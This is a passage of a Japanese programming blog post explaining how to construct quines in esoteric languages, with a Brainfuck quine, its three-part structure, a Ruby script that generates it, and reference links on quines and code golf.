t[256]={10,105,110,116,32,109,97,105,110,40,118,111,105,100,41,123,10,9,112,114,105,110,116,102,40,34,37,115,34,44,104,41,59,10,9,102,111,114,40,105,110,116,32,105,61,48,59,105,60,115,116,114,108,101,110,40,104,41,59,105,43,43,41,123,10,9,9,112,114,105,110,116,102,40,34,37,100,44,34,44,104,91,105,93,41,59,10,9,125,10,9,112,114,105,110,116,102,40,34,125,59,92,110,99,104,97,114,32,116,91,50,53,54,93,61,123,34,44,51,52,41,59,10,9,102,111,114,40,105,110,116,32,105,61,48,59,105,60,115,116,114,108,101,110,40,116,41,59,105,43,43,41,123,10,9,9,112,114,105,110,116,102,40,34,37,100,44,34,44,116,91,105,93,41,59,10,9,125,10,9,9,112,114,105,110,116,102,40,34,125,59,37,115,34,44,116,41,59,9,114,101,116,117,114,110,32,48,59,10,125,10,}; int main(void){ printf("%s",h); for(int i=0;i<strlen(h);i++){ printf("%d,",h[i]); } printf("};\nchar t[256]={",34); for(int i=0;i<strlen(t);i++){ printf("%d,",t[i]); } printf("};%s",t); return 0; }
簡単なesolangでQuine
esolangの問題点
- 文字列を持てないものがある。(s = "hogehuga" みたいなのができない)
基本的な考え方として、
A:「値を積んでいくパート」
B:「Aの部分を(Aで積んだものを破壊することなく)出力するパート」
C:「Aの部分に積んだものに従って出力するパート」
を作ればよい。
- 前回の記事のアレの場合
- A
#1#59#64#126#52#49#35#46#64#42#54#35#61#49#35#58#95#64#126#53#50#35#44#46#53#51#35#92#58#64#42#50#49#35#61#48#35#58#43#126#49#35#54#52#35#46
- B
#1~+:#0=#12*@:\#35.,#25~@_:
ここで、A,Bの部分だけで実行すると、
Aの部分のみがまるまる出力される。
ー> Aの部分でどれだけメモリに数字を積もうとも、Aの部分は出力されるようになる。
あとは、Aの部分で、B,Cの部分の文字列を積んでやればよい。
- C
#1=#6*@.#14~@;
で、Cで、Aの部分の文字を出力する。
- Brainf*ckの場合
(全くゴルフしていないので、とても長くなってしまった)
+>>+>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>>>++++++[<+++++++>-]<+>>++++++++[<++++++++>-]<--<.>..<.>.<<<-[+><-[+<<<-]+>[->+>>[>>>]>.<<-[+<<<-]+>]<->>>+>[>>>]>>...<<<-]<[.<<<]
- A
+>>+>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>>
- B
>>++++++[<+++++++>-]<+>>++++++++[<++++++++>-]<--<.>..<.>.<<<-[+><-[+<<<-]+>[->+>>[>>>]>.<<-[+<<<-]+>]<->>>+>[>>>]>>...<<<-]
- c
<[.<<<]
- 製作過程でできたもの
$ inp.exe myquine.bf inited +>>+>+++>>>+++++>>>+++++++>>> halt [1,0,0,0,3,0,0,5,0,0,7,(0),0,43,62,0,] runtime .. 0.002001
+>>+>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>>+++++++++++++++++++++++++++++++++++++++++++>>> //適当に積まれた入力 >>++++++[<+++++++>-]<+ //+をメモリに積む >>++++++++[<++++++++>-]<-- //>をメモリに積む。 <.>..<.>.<< //先頭の5文字(+>>+>)を出力する <-[+> <-[+<<<-]+> //先頭までポインタを戻す [ ->+>> [>>>] >.< //+の出力 <-[+<<<-]+> //先頭までポインタを戻す ] //ここまでで、+が出力される。 <->>>+> [>>>] >>...<< <-] // ここまでで、先頭の部分が文字として出力される。 < [.<<<]
- make_bf_quine.rb
source = "+>>+>" prog = ">>++++++[<+++++++>-]<+>>++++++++[<++++++++>-]<--<.>..<.>.<<<-[+><-[+<<<-]+>[->+>>[>>>]>.<<-[+<<<-]+>]<->>>+>[>>>]>>...<<<-]<[.<<<]" (1..(prog.size)).each{|x| c = prog[prog.size-x] for i in 1..(c.ord) source += "+" end source += ">>>" } source += prog print source
prog の部分は、B+Cの文字列が入ってます。
まあ、だいたい似たようなことをやってます。
参考文献(サイト)
Quine・難解プログラミングについて
http://www.slideshare.net/mametter/quine-10290517/51
Quine いろいろ
http://shinh.hatenablog.com/entry/20081102/1225569359
コードを愛でる
http://shinh.skr.jp/slide/mederu/000.html
自己出力プログラムと自己参照プログラム
http://kreisel.fam.cx/webmaster/clog/img/www.ice.nuie.nagoya-u.ac.jp/~h003149b/lang/quine.html
quine.bf
http://d.hatena.ne.jp/KeisukeNakano/20070626/1182879045
Quineのゴルフ場
http://golf.shinh.org/p.rb?Quine